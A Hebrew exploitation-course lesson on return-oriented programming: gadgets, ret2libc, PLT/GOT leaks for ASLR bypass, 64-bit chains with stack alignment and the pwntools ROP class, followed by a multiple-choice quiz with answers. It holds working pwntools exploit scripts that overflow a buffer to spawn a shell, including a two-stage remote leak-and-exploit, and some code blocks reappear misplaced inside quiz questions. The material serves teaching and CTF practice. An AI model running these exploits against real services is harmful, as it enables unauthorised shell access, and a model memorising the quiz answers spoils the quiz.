ROP
ROP — Return-Oriented Programming: ניצול NX ב-Exploitation מודרני
כשNX מופעל, Shellcode ישיר נחסם. ROP עוקף זאת בחכמה: במקום להרץ קוד חדש, מחבר רצפי קוד קיים! Gadget = רצף Assembly קצר שמסתיים ב-RET. שרשור Gadgets = ביצוע כל לוגיקה — בלי לכתוב byte חדש לזיכרון.
- Gadgets — אבני הבניין של ROP
- ROPgadget — מציאת Gadgets בבינארי
- Ret2libc (32bit) — עקיפת NX עם system()
- PLT ו-GOT — Dynamic Linking ו-Ret2plt
- ASLR Bypass — Leak + Calculate + Exploit
- ROP Chain ב-64bit — pop rdi, Stack Alignment
- pwntools ROP class — אוטומציה
- Dry Run — ניתוח ROP Chain ידנית
◄ Reverse Engineering — זיהוי PLT/GOT, פיענוח Stack Payload
◄ שאלון Exploitation — מה Gadget, מה PLT/GOT, כיצד Ret2libc עובד
◄ Exploit Development — ROPgadget, pwntools ROP, ASLR Bypass עם Leak
Gadgets: אבני הבניין של ROP
Gadget = רצף Assembly קצר שמסתיים ב-RET. כבר קיים בזיכרון (בBinary או libc) → ניתן להרצה גם כשNX מופעל. שרשור Gadgets דרך Stack = ביצוע Logic ללא Shellcode.
; ─── Gadgets נפוצים ───────────────────────────────────────
; @ 0x0804901e : pop eax ; ret ← טעינת ערך ל-EAX
; @ 0x0804919b : pop ebx ; ret ← טעינת ערך ל-EBX
; @ 0x0804cafe : xor ecx, ecx ; ret ← איפוס ECX
; @ 0x0804dead : int 0x80 ; ret ← System Call!
; ─── ROP Chain Stack Layout ────────────────────────────────
; [padding: 44 bytes] ← מלא עד Return Address
; [0x0804901e] ← EIP → Gadget 1 (pop eax; ret)
; [0x0000000b] ← ייקרא ל-EAX = 11 (SYS_execve)
; [0x0804919b] ← RET מG1 → Gadget 2 (pop ebx; ret)
; [0x0804a020] ← ייקרא ל-EBX = &"/bin/sh"
; [0x0804cafe] ← RET מG2 → Gadget 3 (xor ecx,ecx;ret)
; [0x0804dead] ← RET מG3 → int 0x80 → Shell!◄ pop reg; ret → טעינת ערך ל-Register
◄ mov [reg], reg; ret → כתיבה לזיכרון
◄ add eax, ebx; ret → חיבור
כל Binary מכיל מאות Gadgets. libc מכילה עשרות אלפים!
Ret2libc: הטכניקה הקלאסית לעקיפת NX
במקום Shellcode, קופצים ל-system() בlibc (שהיא כן ניתנת להרצה!) עם "/bin/sh" כארגומנט. לא צריך לכתוב קוד חדש.
Ret2libc ב-32bit — Stack Layout
; Stack עבור Ret2libc ב-32bit:
; [padding: 44 bytes] ← מלא עד Return Address
; [system() address] ← Return Address → system()
; [exit() address] ← "Return מ-system" → יציאה נקייה
; ["/bin/sh" address] ← arg1 ל-system()
; כשRET קופצת ל-system():
; ESP → [exit_addr][binsh_addr]
; system() מציפה arg1 = [ESP+4] = &"/bin/sh"
; → system("/bin/sh") → Shell!from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# כתובות (ללא ASLR — קבועות):
system_addr = libc.symbols['system']
exit_addr = libc.symbols['exit']
binsh_addr = next(libc.search(b'/bin/sh'))
offset = 44
payload = b'A' * offset
payload += p32(system_addr) # Return Address → system()
payload += p32(exit_addr) # Return מ-system → exit()
payload += p32(binsh_addr) # arg1 = "/bin/sh"
conn = process('./vuln')
conn.sendline(payload)
conn.interactive() # ← Shell!next(libc.search(b'/bin/sh')) → offset בlibc
בmemory: libc_base + offset → כתובת אמיתית של "/bin/sh"
PLT/GOT ו-ASLR Bypass: Leak → Calculate → Exploit
PLT/GOT = מנגנון Dynamic Linking. ה-PLT entry הוא כתובת קבועה גם עם ASLR — ניתן לקרוא לפונקציות libc כדי ל-Leak כתובות, ואז לחשב libc_base.
PLT ו-GOT — מה הם
| Section | מה מכיל | כתובת (PIE disabled) | שינוי ב-Runtime |
|---|---|---|---|
| .plt | Stub code לכל פונקציה חיצונית | קבועה (0x08049000) | לא משתנה |
| .got | Pointers לפונקציות libc | קבועה (0x0804c000) | Dynamic Linker ממלא |
| libc .text | קוד הפונקציות עצמן | אקראית עם ASLR! | — |
ASLR Bypass: 2-Stage Exploit
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt = elf.plt['puts'] # כתובת קבועה (גם עם ASLR!)
puts_got = elf.got['puts'] # Pointer לכתובת האמיתית ב-libc
main_addr = elf.symbols['main']
offset = 44
# ─── Stage 1: Leak כתובת puts() מ-GOT ──────────────────────
# puts(puts@GOT) → מדפיס 4 bytes = כתובת puts בlibc
payload1 = b'A' * offset
payload1 += p32(puts_plt) # → puts()
payload1 += p32(main_addr) # → main() לRound 2
payload1 += p32(puts_got) # arg1 = &puts@GOT
conn = remote('ctf.example.com', 1337)
conn.sendline(payload1)
# ─── Stage 2: חשב libc_base ─────────────────────────────────
leak = conn.recvline()[:4]
puts_addr = u32(leak)
libc_base = puts_addr - libc.symbols['puts']
print(f'libc @ {hex(libc_base)}')
# ─── Stage 3: Exploit! ──────────────────────────────────────
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
exit_addr = libc_base + libc.symbols['exit']
payload2 = b'A' * offset
payload2 += p32(system_addr)
payload2 += p32(exit_addr)
payload2 += p32(binsh_addr)
conn.sendline(payload2)
conn.interactive() # ← Shell!ROP ב-64bit ו-pwntools ROP Class
ב-64bit, ארגומנטים עוברים ב-Registers (rdi, rsi, rdx) — לא ב-Stack! לכן Ret2libc ב-64bit דורש Gadget pop rdi; ret לטעינת arg1.
ROP Chain ב-64bit
from pwn import *
elf = ELF('./vuln64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
# מצא Gadgets:
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0] # ← Alignment!
# (אחרי Leak + calc libc_base)
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
offset = 72 # buf(64) + Saved RBP(8)
payload = b'A' * offset
payload += p64(ret_gadget) # Alignment: system() דורש 16-byte aligned
payload += p64(pop_rdi) # Gadget: pop rdi; ret
payload += p64(binsh_addr) # ייקרא ל-RDI (arg1)
payload += p64(system_addr) # system(rdi="/bin/sh") → Shell!
conn.sendline(payload)
conn.interactive()! Stack Alignment ב-64bit — הטעות הכי נפוצה ›
Linux x86-64 דורש Stack מיושר ל-16 bytes לפני CALL לפונקציה!
# בלי ret gadget:
payload = padding + pop_rdi + binsh + system
# → system() קורסת ב-movaps alignment check!
# עם ret gadget (מוסיף 8 bytes → מיישר):
payload = padding + RET + pop_rdi + binsh + system
# → עובד!אם Exploit כמעט עובד אבל קורס ב-system() → הוסף ret gadget לפני!
pwntools ROP Class — אוטומציה
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# Stage 1: Leak
rop = ROP([elf, libc])
rop.puts(elf.got['puts']) # puts(puts@GOT)
rop.main() # → main() לRound 2
payload = flat({44: rop.chain()}) # padding + ROP chain
# Stage 2: אחרי Leak
leak = conn.recvline()[:4]
libc.address = u32(leak) - libc.symbols['puts'] # Set libc base!
rop2 = ROP([elf, libc])
rop2.system(next(libc.search(b'/bin/sh')))
payload2 = flat({44: rop2.chain()})
conn.sendline(payload2)
conn.interactive()payload = b'A' * 44
payload += p32(0x0804901e) # pop eax; ret
payload += p32(11) # 11
payload += p32(0x0804919b) # pop ebx; ret
payload += p32(0x0804a020) # &"/bin/sh"
payload += p32(0x0804cafe) # xor ecx,ecx; ret
payload += p32(0x0804dead) # int 0x80מה מבצעת ROP Chain זו?תרגול נוסף — CTF: Base64, Ghidra ו-Format String
שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.
SGVsbG8gV29ybGQ=. מה הצעד הראשון?if (strcmp(input, "s3cr3t") == 0). מה עושים?nc challenge 1337, נשלח Enter code, שלחת 1000 תווי A והתוכנית מדפיסה אותם בחזרה. מה זה מרמז?אתגר מעשי — NX ועקיפתו — עיקרון
שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.
סיכום שיעור 41
- ROP = שרשור Gadgets (קוד קיים + RET) לביצוע Logic ללא Shellcode
- Gadget = רצף Assembly קצר שמסתיים ב-RET. כבר קיים בBinary/libc
- ROP Chain Stack: [G1_addr][G1_values][G2_addr][G2_values]...[system/syscall]
- ROPgadget --binary ./vuln --re 'pop rdi' → מצא Gadgets
- Ret2libc (32bit): [padding][system@libc][exit@libc][/bin/sh@libc]
- PLT = כתובת קבועה לקריאה לfunc. GOT = Pointer לכתובת libc (אקראית עם ASLR)
- ASLR Bypass: Leak GOT → libc_base = leak - libc.sym['func'] → Exploit
- 64bit ROP: args ב-Registers! pop rdi + ret gadget חובה
- Stack Alignment: הוסף ret gadget לפני system() ב-64bit (16-byte align)
- pwntools ROP class: rop.system(binsh) → chain() → פשוט ואוטומטי
שאלות תרגול ותשובות (16)
שאלה 1.1 — מהו Gadget? · מה מגדיר "Gadget" ב-ROP?
- א. קטע Shellcode מוכן מראש שמוזרק אל תוך ה-Stack לצורך הריצה
- ב. פונקציה שלמה מתוך ספריית libc שאותה קוראים בזמן הניצול
- ג. כתובת בודדת בזיכרון שאליה קופץ ה-Exploit בשלב הראשון שלו
- ד. רצף Assembly קצר שמסתיים ב-RET, קיים ב-Binary ורץ גם עם NX
✓ תשובה: ד) — Gadget: רצף קוד קיים (e.g. "pop eax; ret") + מסתיים ב-RET. הוא כבר בזיכרון הניתן להרצה (TEXT section). ROP = שרשור Gadgets דרך Stack מבלי לכתוב קוד חדש.
שאלה 1.2 — ROP Chain מכניקה · כיצד Gadget אחד "קופץ" לGadget הבא ב-ROP Chain?
- א. באמצעות פקודת JMP ישירה אל כתובתו של ה-Gadget שאחריו בשרשרת
- ב. באמצעות פקודת CALL שמעבירה את השליטה אל ה-Gadget הבא בתור
- ג. באמצעות קריאת מערכת (System Call) שמנתבת אל ה-Gadget הבא
- ד. ה-RET שבסופו מבצע POP EIP, כך שהכתובת הבאה ב-Stack נטענת
✓ תשובה: ד) — RET = POP EIP = קרא כתובת מ-Stack ל-EIP. הכתובת הבאה ב-Stack היא Gadget 2. Gadget 2 מסתיים ב-RET → קרא Gadget 3 מ-Stack. וכך הלאה — "שרשרת" של RET!
שאלה 1.3 — ROPgadget · כיצד מוצאים Gadget pop rdi ; ret ב-Binary?
; Stack עבור Ret2libc ב-32bit:
; [padding: 44 bytes] ← מלא עד Return Address
; [system() address] ← Return Address → system()
; [exit() address] ← "Return מ-system" → יציאה נקייה
; ["/bin/sh" address] ← arg1 ל-system()
; כשRET קופצת ל-system():
; ESP → [exit_addr][binsh_addr]
; system() מציפה arg1 = [ESP+4] = &"/bin/sh"
; → system("/bin/sh") → Shell!- א. ROPgadget --binary ./vuln --re 'pop rdi' לחיפוש הרצף בקובץ
- ב. gdb --find 'pop rdi' כדי לאתר את הרצף בזיכרון בזמן הריצה
- ג. strings ./vuln | grep 'pop rdi' כדי לחלץ אותו מן המחרוזות
- ד. nm ./vuln | grep rdi כדי למצוא אותו ברשימת הסמלים של הקובץ
✓ תשובה: א) ROPgadget — ROPgadget --binary ./vuln --re 'pop rdi' → 0x00400593 : pop rdi ; ret. חלופות: ropper -f ./vuln --search 'pop rdi', pwntools: rop.find_gadget(['pop rdi','ret'])[0].
שאלה 2.1 — Ret2libc Stack · מהו הסדר הנכון של ה-Payload ב-Ret2libc (32bit)?
- א. [padding][/bin/sh][system()][exit()]: הארגומנט לפני הפונקציה
- ב. [system()][padding][/bin/sh][exit()]: הפונקציה לפני הריפוד
- ג. [padding][system()][exit()][/bin/sh]: system בכתובת החזרה
- ד. [padding][/bin/sh][exit()][system()]: system בסוף השרשרת כולה
✓ תשובה: ג) — ב-32bit args ב-Stack: לפני CALL: [ret_addr][arg1][arg2]. כשRET→system(): ESP=[exit_addr, binsh_addr]. system() קורא arg1=[ESP+4]=binsh. הסדר: Return Address(system) | Fake-Return(exit) | arg1(/bin/sh).
שאלה 2.2 — מדוע exit()? · מדוע מוסיפים exit() אחרי system() ב-Ret2libc Payload?
- א. הפונקציה exit() היא הדרושה כדי שה-Shell בכלל יצליח לעבוד
- ב. הפונקציה exit() היא זו שמכילה בתוכה את המחרוזת "/bin/sh"
- ג. הפונקציה exit() נדרשת כדי להפעיל מחדש את מנגנון ה-ASLR
- ד. כש-system() חוזרת ה-CPU קופץ לכתובת החזרה שלה = exit(), נקי
✓ תשובה: ד) — כש-system() מחזירה, היא עושה RET → POP EIP = מה שאחריה בStack = exit(). אחרת: Crash בכתובת זבל. ב-CTF: לפעמים שמים "JUNK" (b'BBBB') כי ה-Shell כבר פתוח ולא יגיע ל-return.
שאלה 2.3 — /bin/sh בlibc · מדוע ניתן למצוא "/bin/sh" בתוך libc.so?
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt = elf.plt['puts'] # כתובת קבועה (גם עם ASLR!)
puts_got = elf.got['puts'] # Pointer לכתובת האמיתית ב-libc
main_addr = elf.symbols['main']
offset = 44
# ─── Stage 1: Leak כתובת puts() מ-GOT ──────────────────────
# puts(puts@GOT) → מדפיס 4 bytes = כתובת puts בlibc
payload1 = b'A' * offset
payload1 += p32(puts_plt) # → puts()
payload1 += p32(main_addr) # → main() לRound 2
payload1 += p32(puts_got) # arg1 = &puts@GOT
conn = remote('ctf.example.com', 1337)
conn.sendline(payload1)
# ─── Stage 2: חשב libc_base ─────────────────────────────────
leak = conn.recvline()[:4]
puts_addr = u32(leak)
libc_base = puts_addr - libc.symbols['puts']
print(f'libc @ {hex(libc_base)}')
# ─── Stage 3: Exploit! ──────────────────────────────────────
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
exit_addr = libc_base + libc.symbols['exit']
payload2 = b'A' * offset
payload2 += p32(system_addr)
payload2 += p32(exit_addr)
payload2 += p32(binsh_addr)
conn.sendline(payload2)
conn.interactive() # ← Shell!- א. libc משתמשת בו פנימית ב-system() וב-popen(); הוא ב-.rodata
- ב. מדובר ב-Bug מוכר בספריית libc שדולף מחרוזת רגישה החוצה
- ג. ספריית libc כוללת בתוכה מימוש שלם ומובנה של Shell עצמאי
- ד. המחרוזת מוספת אוטומטית על-ידי המהדר GCC בזמן הקימפול עצמו
✓ תשובה: א) — system("/bin/sh") בlibc עצמה מכילה את הstring הזה. next(libc.search(b'/bin/sh')) מוצא את ה-offset בlibc. כתובת runtime = libc_base + offset. חפש גם ב-Binary עצמו עם ROPgadget --string '/bin/sh'.
שאלה 3.1 — PLT vs GOT · מה ההבדל בין puts@PLT לבין puts@GOT?
- א. ה-PLT היא ההגדרה של puts ואילו ה-GOT היא רק ההצהרה עליו
- ב. PLT היא כתובת stub קבועה לקריאה; GOT מצביע לכתובת האמיתית
- ג. ה-PLT מחזיקה כתובת אקראית ואילו ה-GOT מחזיקה כתובת קבועה
- ד. אין ביניהם שום הבדל מעשי, ושני המונחים הם לאותו הדבר עצמו
✓ תשובה: ב) — PLT entry (קבועה, PIE disabled): JMP [GOT_entry]. GOT entry: מכיל כתובת האמיתית ב-libc (ממולאת ב-Runtime). Ret2plt = קרא PLT entry → קרא puts → מדפיס תוכן GOT = Leak!
שאלה 3.2 — ASLR Bypass Logic · מדוע leaking כתובת אחת של libc מספיקה לחישוב כתובת כל פונקציה אחרת בlibc?
- א. כל הפונקציות בספריית libc ממוקמות בדיוק באותה כתובת בזיכרון
- ב. מנגנון ה-ASLR אינו משנה דבר בכתובות של הפונקציות שבתוך libc
- ג. חובה לבצע Dump של כל ספריית libc כדי לחשב כתובת של פונקציה
- ד. ASLR מאקראי רק את בסיס libc; ה-offsets בין הפונקציות קבועים
✓ תשובה: ד) — ASLR: libc נטענת לכתובת בסיס אקראית. אבל offset בין puts לsystem קבוע (תלוי גרסת libc). leak=puts_addr → libc_base=puts_addr-puts_offset → system_addr=libc_base+system_offset.
שאלה 3.3 — GOT Overwrite · מה זה GOT Overwrite ואיך ניתן להשתמש בו?
from pwn import *
elf = ELF('./vuln64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
# מצא Gadgets:
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0] # ← Alignment!
# (אחרי Leak + calc libc_base)
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
offset = 72 # buf(64) + Saved RBP(8)
payload = b'A' * offset
payload += p64(ret_gadget) # Alignment: system() דורש 16-byte aligned
payload += p64(pop_rdi) # Gadget: pop rdi; ret
payload += p64(binsh_addr) # ייקרא ל-RDI (arg1)
payload += p64(system_addr) # system(rdi="/bin/sh") → Shell!
conn.sendline(payload)
conn.interactive()- א. כתיבת כתובת system() ל-GOT של printf, כך שהקריאה הבאה תריץ
- ב. מחיקה מוחלטת של טבלת ה-GOT כדי לשבש את ריצת התוכנית כולה
- ג. ביצוע Randomize על כתובות ה-GOT כדי להקשות על התוקף לנצל
- ד. טבלת ה-GOT מוגנת לחלוטין מפני כתיבה, ולכן לא ניתן לגעת בה
✓ תשובה: א) — GOT = writable (rw-). כתוב system@libc ל-GOT[printf]. כשהתוכנית קוראת printf("/bin/sh") → PLT→GOT[printf]=system() → system("/bin/sh")! מחייב Write-Primitive. נחסם על ידי Full RELRO.
שאלה 4.1 — 64bit Calling Convention · מדוע ב-64bit ROP צריך Gadget pop rdi; ret לפני system()?
- א. ה-Gadget הזה נחוץ אך ורק כדי לנקות את ה-Stack לפני הקריאה
- ב. ב-64bit הארגומנט הראשון עובר ב-RDI, ולכן טוענים אליו את הכתובת
- ג. הרצף pop rdi מנטרל את מנגנון ה-ASLR לפני הקפיצה ל-system()
- ד. הפונקציה system() בסביבת 64-bit כלל אינה מקבלת ארגומנטים
✓ תשובה: ב) — x86-64 System V ABI: arg1=rdi, arg2=rsi, arg3=rdx, ... ב-32bit: args ב-Stack. ב-64bit ROP: pop rdi → RDI=&"/bin/sh" → ret → system() → system(rdi)=system("/bin/sh")!
שאלה 4.2 — Stack Alignment · Exploit קורס ב-system() ב-64bit למרות שהכתובות נכונות. מה הסיבה הסבירה?
- א. הפונקציה system() כלל אינה קיימת בספריית libc של המערכת הזו
- ב. הערך של libc_base שחושב שגוי, ולכן כל הכתובות שנגזרו ממנו
- ג. ה-Stack אינו מיושר ל-16 בתים; יש להוסיף ret gadget לפני הקריאה
- ד. מנגנון ה-NX הוא זה שחוסם את ההרצה של הפונקציה system() כאן
✓ תשובה: ג) — x86-64 ABI: Stack חייב להיות aligned ל-16 bytes לפני CALL. system() מבצע movaps (SSE instruction) שדורש alignment. הוסף ret gadget לפני system() → מוסיף 8 bytes → מיישר ל-16. כמעט תמיד פותר.
שאלה 4.3 — Dry Run ROP Chain · payload = b'A' * 44 payload += p32(0x0804901e) # pop eax; ret payload += p32(11) # 11 payload += p32(0x0804919b) # pop ebx; ret payload += p32(0x0804a020) # &"/bin/sh" payload += p32(0x0804cafe) # xor ecx,ecx; ret payload += p32(0x0804dead) # int 0x80מה מבצעת ROP Chain זו?
payload = b'A' * 44 payload += p32(0x0804901e) # pop eax; ret payload += p32(11) # 11 payload += p32(0x0804919b) # pop ebx; ret payload += p32(0x0804a020) # &"/bin/sh" payload += p32(0x0804cafe) # xor ecx,ecx; ret payload += p32(0x0804dead) # int 0x80
- א. execve("/bin/sh", NULL, NULL) בקריאת מערכת ישירה: EAX=11, int 0x80
- ב. system("/bin/sh") דרך ספריית libc ולא באמצעות קריאת מערכת ישירה
- ג. exit(0): יציאה נקייה מן התוכנית באמצעות קריאת מערכת רגילה
- ד. printf("/bin/sh"): הדפסת המחרוזת בלבד ללא הרצת Shell כלשהו
✓ תשובה: א) — EAX=11=SYS_execve. EBX=0x0804a020=&"/bin/sh". ECX=0=NULL (argv). int 0x80 → Linux 32bit syscall → execve("/bin/sh",NULL,NULL) → Shell! Syscall ROP — לא תלוי ב-libc כלל!
שאלה 4.4 — pwntools libc.address · מה עושה libc.address = puts_addr - libc.symbols['puts']?
- א. מחשב את כתובתה של הפונקציה puts בתוך ספריית libc שנטענה
- ב. מגדיר את libc_base, וכך pwntools יחשב את כתובות כל הפונקציות
- ג. טוען את כל ספריית libc אל תוך הזיכרון של התהליך הרץ כעת
- ד. מחפש את מיקום המחרוזת "/bin/sh" בתוך ספריית libc בזיכרון
✓ תשובה: ב) — libc.address = הbase address. אחרי set: libc.symbols['system'] = libc.address + offset_system (מחושב אוטומטית). next(libc.search(b'/bin/sh')) = libc.address + offset_binsh. מאוד נוח!
שאלה 5.1 [קל] · קיבלת מחרוזת חשודה: SGVsbG8gV29ybGQ=. מה הצעד הראשון?
SGVsbG8gV29ybGQ=
- א. XOR Brute Force: הנחה שגויה, אף שהתו סימן שוויון בסוף וטווח התווים מעידים בבירור על Base64, ולכן פענוח Base64 קודם לכל ניסיון XOR כן
- ב. Caesar Cipher: הנחה שגויה, אף שהמחרוזת מכילה תווי Base64 עם ריפוד שוויון, ולכן פענוח Base64 הוא הצעד ההגיוני ולא הזזת אותיות כאן
- ג. MD5 Hash: הנחה שגויה, אף ש-MD5 הוא Hash חד-כיווני באורך קבוע, והמחרוזת כאן היא Base64 הפיך שמפוענח לטקסט קריא ולא Hash כלשהו
- ד. Base64 Decode — סימן השוויון בסוף מעיד על ריפוד של Base64, ופענוח נותן את הטקסט Hello World, ולכן זהו הצעד הראשון הנכון בניתוח
✓ תשובה נכונה: ד — סימני Base64: תווים A-Z,a-z,0-9,+,/ וריפוד = בסוף. base64.b64decode('SGVsbG8gV29ybGQ=') → b'Hello World'.
שאלה 5.2 [בינוני] · ב-Ghidra רואים if (strcmp(input, "s3cr3t") == 0). מה עושים?
if (strcmp(input, "s3cr3t") == 0)
- א. הסיסמה היא s3cr3t — ה-Reverse Engineering חשף Hard-coded password ישירות בקוד, ולכן מריצים את הבינארי ומזינים s3cr3t כדי לעבור
- ב. מפצחים את ה-Hash: הנחה שגויה, אף שאין כאן Hash אלא השוואת מחרוזות גלויה, ולכן הסיסמה s3cr3t קריאה ישירות ואין צורך בפיצוח כלשהו כאן
- ג. מבצעים Buffer Overflow: הנחה שגויה, אף שאין כאן צורך בחריגה מ-buffer, שכן הסיסמה הקשיחה s3cr3t חשופה בקוד ומספיקה כדי לעבור כאן
- ד. מזריקים Shellcode: הנחה שגויה, אף שהזרקת קוד מיותרת כאן, מאחר שההשוואה חושפת סיסמה קשיחה s3cr3t שאותה פשוט מזינים כדי לעבור
✓ תשובה נכונה: א — strcmp מול קבוע = Hard-coded password. RE חשף אותו: s3cr3t. הרץ את הבינארי והזן אותו. תבנית CTF נפוצה מאוד ב-crackme.
שאלה 5.3 [קשה] · הרצת nc challenge 1337, נשלח Enter code, שלחת 1000 תווי A והתוכנית מדפיסה אותם בחזרה. מה זה מרמז?
nc challenge 1337
- א. אפשרות ל-Format String או ל-Buffer Overflow — הדפסת הקלט ישירות עלולה להיות printf(buf) פגיע, וקלט ארוך עלול לחרוג מ-buffer בזיכרון
- ב. השרת פשוט מהדהד קלט: הנחה שגויה, אף שהדהוד הקלט דווקא מרמז על printf(buf) פגיע או על גלישת buffer, ולכן זהו אות לפוטנציאל ניצול כאן כן
- ג. התוכנית קרסה מיד: הנחה שגויה, אף שהדפסת 1000 התווים בחזרה מעידה שהתוכנית עדיין רצה, וההחזר החשוד מצביע על Format String או Overflow
- ד. זו תקשורת מוצפנת: הנחה שגויה, אף שאין כאן הצפנה אלא הדהוד קלט גולמי, וההחזר הישיר של הקלט מרמז על printf פגיע או על גלישת buffer כאן כן
✓ תשובה נכונה: א — קלט שמודפס בחזרה → חשד ל-printf(buf) (Format String) או ל-Overflow. נסה %x%x%x לחשיפת Stack, או Cyclic למציאת Offset.